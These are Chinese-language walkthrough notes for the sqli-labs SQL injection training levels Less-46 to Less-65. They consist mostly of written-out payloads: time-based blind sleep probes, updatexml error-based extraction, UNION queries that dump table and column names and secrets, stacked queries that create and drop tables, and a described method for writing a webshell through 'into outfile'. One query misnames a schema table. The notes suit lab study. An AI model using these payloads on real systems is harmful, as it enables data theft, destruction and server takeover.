本题没有报错信息,不能使用报错注入,只能用时间盲注。
与Less-46类似,sort
没有被包裹
sort=1 --+
sort=1' --+
与Less-48类似,只能用时间盲注
总结:
?id=
?sort=
select * from users where id=xxx
select * from users order by xxx
46-49 使用报错注入,时间盲注
select xxx into outfile ‘’
插入一句话木马
into outfile “文件地址” lines terminated by 一句话木马(转换为十六进制形式)
sort
没有被包裹
1.基于时间盲注
sort=1 and if((length(database())>8),1,sleep(5)) --+
2.基于报错注入
sort=1 and updatexml(1,concat(0x7e,database()),1) --+
3.写一句话木马
4.使用堆叠注入创建删除一个表
sort=1;create table ck like users; --+
sort=1;drop table ck; --+
5.使用堆叠注入写一句话木马
sort=1' --+
由单引号' '
包裹,其余步骤与Less-50相同
sort=1 --+
本题没有报错信息
不能使用报错注入
sort=1' --+
由单引号' '
包裹,其余步骤与Less-52相同
本题没有报错信息
不能使用报错注入
与其他题不同之处是只能注入10次
拿到flag提交
id=1' --+
进行绕过
id=1' order by 3 --+
查看有多少列数
id=1' union select 1,2,3 --+
查看哪些数据发生回显
id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
查看challenges数据库中的表
id=1' union select 1,2,group_concat(column_name) from information_columns where table_name='MSXXY5SBVJ'--+
查看MSXXY5SBVJ表中的列名
id=-1' union select 1,2,group_concat(secret_F28O) from challenges.MSXXY5SBVJ --+
得到secret_F28O字段的数据
与Less-54类似,id
由( )
包裹
与上题类似,id
由(' ')
包裹
与上题类似,id
由" "
包裹
id=-1' union select 1,2,3 --+
却没有反应,对于联合查询,进行了过滤
使用报错注入
格式:updatexml(1,concat('~',(select database())),1)
id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) --+
查询表名
id=1' and updatexml(1,concat('~',(select group_concat(secret_YZKZ) from challenges.owhjnni3bp)),1) --+
得到字符串数据
与Less-58类似,id
无包裹,使用报错注入
与上题类似,id
由(" ")
包裹,使用报错注入
与上题类似,id
由((' '))
包裹
id=1')) and updatexml(1,(select concat('~',database())),1) --+
id=1'
判断是否存在注入点
却没有返回结果
这个测试次数,必然是时间盲注了。
id=1') and if(length(database())>10,1,sleep(5)) --+
首先判断数据库的长度
id=1') and if( left((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1)>'a',1,sleep(5)) --+
判断该表的第一位字母是不是比a大
id
由(' ')
包裹
与上题类似
id
由' '
包裹
与上题类似
id
由(( ))
包裹
与上题类似
id
由( )
包裹